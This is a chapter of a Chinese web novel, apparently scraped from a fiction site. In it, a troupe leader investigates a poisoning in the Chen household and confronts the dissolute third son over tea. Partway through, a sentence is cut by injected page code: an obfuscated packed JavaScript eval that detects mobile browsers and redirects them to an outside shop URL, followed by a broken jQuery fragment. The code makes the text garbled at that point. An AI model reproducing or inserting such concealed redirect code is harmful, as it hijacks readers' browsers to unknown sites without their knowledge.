文趣网 > 都市小说 > 我靠傩戏扮鬼神 > 28. 姊妹
    大牛愣愣地摸头,他说:“回上河村?三姨才走,班子里不剩几个人,这几天不办傩还好,再过两天开红山要忙不过来嘞!”

    想到带着孩子们避祸的李三娘子,大牛眼眶一热,他眼中蓄满泪水:“师父,何至于此?”

    大牛拍着胸膛:“师父,从你把我从河里捞出来那天开始,我的命就是你的嘞,我大牛誓要与班子共存亡!”

    林月回看着大牛脸上神情变来变去,最后停留在慷慨赴死的悲壮上,既是感动又是无语。

    她一巴掌拍在大牛宽厚的肩膀上:“我就是叫你去传句话!”

    大牛舍我其谁的悲壮表情僵在脸上,他僵硬开口:“送……信?”

    林月回白他一眼:“不然呢?”

    她“唰唰唰”抬笔写下两行小字,叫大牛送给陈老九:“切记,这信只能让陈老九一人看,看后即焚。”

    大牛点头:“师父放心,我必定将信送到!”

    大牛从马棚牵出爱驴,爱怜地摸了摸驴子的棕脑门:“老伙计,这班子里,少了咱俩可怎么办才好?”

    翻身上驴,大牛一阵风似得离开了陈府。

    林月回目送着大牛远去,陈老九只是一步暗棋,用于陈三死后借机谋利,眼下要紧的,还是陈三身上的毒。

    给陈三下毒的人,是奔着弄死陈三的心去的。

    而她和陈三约下“三日后”开红山,替陈三挡灾,背后下毒之人,真能容忍陈三好转?

    林月回易地而处,若她是下毒之人,瞧见陈三又多出一条活路会无动于衷吗?

    绝不会!

    趁他病要他命。

    无论开红山是真能替人挡灾,还是骗人的把戏。

    陈三只要有一丝活着的可能,她都不可能抱着侥幸心理,任由外来者打乱自己的计划。

    林月回几乎能肯定,这三天内,背后下毒之人必定再次出手。

    她唯一不确定的是,下毒之人会对她这个变数动手,还是对陈三这个祸根动手。

    林月回转身。

    层叠飞檐、幽深大院,世代昌荣的陈府中,藏着多少诡谲人心?

    林月回叫上窈娘,穿过假山游廊,到陈三的院子去。

    任背后下毒之人七窍玲珑心,只要目的暴露了,她未必不能揪住他的狐狸尾巴。

    林月回摘下窈娘肩上一块药材碎末:“今日又制新药了?”

    窈娘笑容温婉:“听说阿姐又要开红山,我只能早早备下伤药,免得瞧了心疼。”

    林月回摸了摸鼻头,她在窈娘面前向来是硬气不起来的,只能嘟囔一句:“怎么又拿我寻开心?”

    窈娘绵里藏针的刺道:“寻开心?我瞧阿姐是铜铸的人,哪能笑得起来。”

    林月回连忙举手投降,她转移话题:“可知我今日为何带你去陈三的院子?”

    窈娘听林月回服软,也不再揪着不放,她做了个口型:“毒?”

    林月回点头,她说:“三日之期,我猜背后之人定要出手,你跟在身边,说不准也能发现东西被藏在何处。”

    窈娘含嗔带怒的看向林月回:“若不是今日要用上我,你可绝不会让我跟着!”

    林月回:“姑奶奶,我的好奶奶,我哪敢呐?”

    也不知道窈娘一口郁气堵在胸口多久,句句话都带着刺,扎得林月回心中酸涩,连连保证再不会做伤害自己的事。

    林月回一路哄着窈娘,到了陈三院中,偷瞄一眼娴静的窈娘,悬在半空中的心总算落了地。

    窈娘向来只对着她一人闹脾气,若有外人在,她就一副菩萨模样,像是从不会恼一般。

    今日,陈三坐在暖阁中,身边几个女子,或捶肩捏腿,或弹曲奏乐。

    林月回嘴角几不可查的抽了抽,前几天的陈三可不是这种模样,之前的陈三全天躲在卧房中,只留几个小厮下棋念话本打发时间,一副不近女色的和尚样。

    这是才知道一身病痛可以转移到旁人身上,就开始纵情声色了?

    林月回看着陈三青灰色的皮肤凹陷进骨头里,再看他不老实的手,问道:“牡丹花下死,做鬼也风流。三公子莫不是要做个风流鬼?”

    陈三从喉间挤出几声尖利的笑声,他说:“有掌坛在,会让我死吗?”

    许是笑得急了,他咳嗽起来,一声接一声:“再说,食色性也,掌坛不爱美人?”

    陈三随意指使一个脸若圆盘的丰腴美人,他指着林月回,说:“伺候好掌坛!”

    他又抬眼去看窈娘:“这还有位小师傅,你可要个美人伺候?”

    窈娘脸上笑容未改,她说:“不必。”

    陈三的视线移回林月回身上,见她推开靠近的女子。

    陈三笑着摇头:“好个没艳福的家伙!”

    他仰头吃下身边丫头剥好的葡萄,再看向林月回二人,像是发现了什么新奇事般说:“瞧我这记性!都忘了掌坛是个女子。”

    陈三朝着门外喊:“书禾,带几个伺候得力的小厮过来……”

    转头看向林月回,陈三露出个暧昧的笑容,他说:“选小厮,要的是身形板正有一把子力气的,干得动活。唔~,模样也不能差,近前伺候的人可不能坏了主子的兴致……”

    选小厮的规矩说了一箩筐,陈三朝林月回露出个心照不宣的笑,总结道:“依我看,这选小厮、选倌人的规矩是差不多的,掌坛瞧瞧,这些小厮可有看得上眼的?”

    林月回沉默地看着一排身披青纱的男子,他们气质迥异,却各个都是难得的美男子。眼下,他们规矩地站在一处,最大胆的家伙也只敢偷偷给林月回抛媚眼。

    林月回神情复杂的看向陈三,这些俊秀的男子,绝不是一时半会儿能搜罗到的。

    难怪陈三和观澜举止亲密,书禾第一反应就是走后门的……

    想到观澜,林月回才意识到,今天她还没见着观澜的身影,林月回问:“难得今日公子有这样的兴致,怎么不见观澜陪着?”

    说到观澜,陈三的脸色一变,他阴沉着脸,嗤笑一声:“给脸不要脸的东西,不必理会!”

    林月回转头去看书禾,书禾微不可查地摇头,明显是让她别问。

    他不让问,林月回就更是好奇。

    想想曾经的陈三和观澜,任是观澜如何胡闹,陈三都要强撑着身子出来护着。

    这忽然改变了态度,背后没鬼才怪!

    强压住心头的好奇,林月回下定决心,等会再找书禾打听打听。

    林月回看向陈三,笑道:“他往常就混,偏三公子好性忍着他,他要是不识

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781161|209354||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    趣,就派去庄子上做事,省得碍眼。”

    书禾不断眨眼,眼睛都快要抽筋,还是阻止不了林月回捋虎须。

    陈三冷笑出声,他阴沉的眼神落到林月回身上,居高临下的打量林月回一圈,他说:“你算什么东西,也配管我的事?”

    窈娘面色沉下来,未等林月回开口,她一杯茶水泼在陈三脸上:“你又算什么东西?要我阿姐为你挡灾,还敢骂人?”

    窈娘刚发难,林月回便知道窈娘的意思。

    窈娘是瞧不得林月回受委屈,此举更是想试探一下,和陈三发生冲突能否被陈家赶出去,远离陈府的污糟事。

    林月回看向陈三的反应。

    陈三面无表情,他苍白的手指拿下挂在脸上的一片茶叶,奇异的没有发火。他眼神冰冷,将茶叶吞吃入腹,咀嚼的动作极慢,像是在吃窈娘的肉。

    再张口,陈三盯着窈娘道:“美人赠香茶,茶香人更香。”

    狎昵的语气,叫林月回瞬间冷下脸。

    她将窈娘挡在身后,只说:“陈三公子贵地,咱们惹不起。”

    拉着窈娘,林月回转身就要出门。

    这一下,陈三可算是慌了。

    自从知道身上的病痛能有人受过,他就决心要把从前想做的事做个遍。

    酒色财气,他一眼都不要放过。

    可好日子才刚刚开始,救命的掌坛就要跑了?

    陈三强压下一身郁气,他立刻赔罪:“是我冒犯了掌坛,书禾,快拦住林掌坛。”

    书禾早挡在了门口,他眼中满是哀求:“林掌坛,您就留下吧。公子可离不得您……”

    林月回一把拽开书禾,她一脚踏出暖阁,深吸一口气,她让窈娘先走。

    转身看向陈三,林月回说:“三公子怎么会冒犯我?”

    陈三得意的勾起嘴角。

    他就知道,毫无倚仗的戏班子,就算能使些神异手段,在他面前,也硬气不起来。

    这不,他稍稍给个好脸,她就得跪着爬回来。

    林月回一步步走近,直到站定在陈三面前,她拎起桌上的茶壶,满满倒上一杯茶:“美人赠香茶,公子可愿喝下这杯茶?”

    陈三一愣,他明白,有本事的人都爱面子,林月回被他下了脸面,这是给自己找面子来了。

    陈三哑然失笑,面子,最不值钱的东西。他笑着接过林月回手中的茶:“自然,掌坛赠茶,我定要喝干净。”

    茶水入肚,陈三呛咳出声。

    这茶水,不像窈娘泼那一杯,是温凉的。刚倒出的茶水,烫得陈三一口吐出来。

    他看向林月回,说:“掌坛换杯茶?”

    林月回笑着看陈三,又从茶壶中倒出一杯:“美人赠香茶,公子请喝。”

    陈三眼神变换着,到底是接过了茶,忍着滚烫的茶水,一口饮尽。

    他将杯子倒扣,皮笑肉不笑:“掌坛满意了?”

    林月回只笑着接过杯子,再满上一杯:“美人赠香茶……”

    陈三不可置信地看向林月回,在她冰冷的视线下,到底是接过了茶。

    一杯接一杯。

    陈三火气越来越旺,在他忍不住爆发之际。

    林月回将茶壶放在桌上,她问:“三公子可还喝香茶?”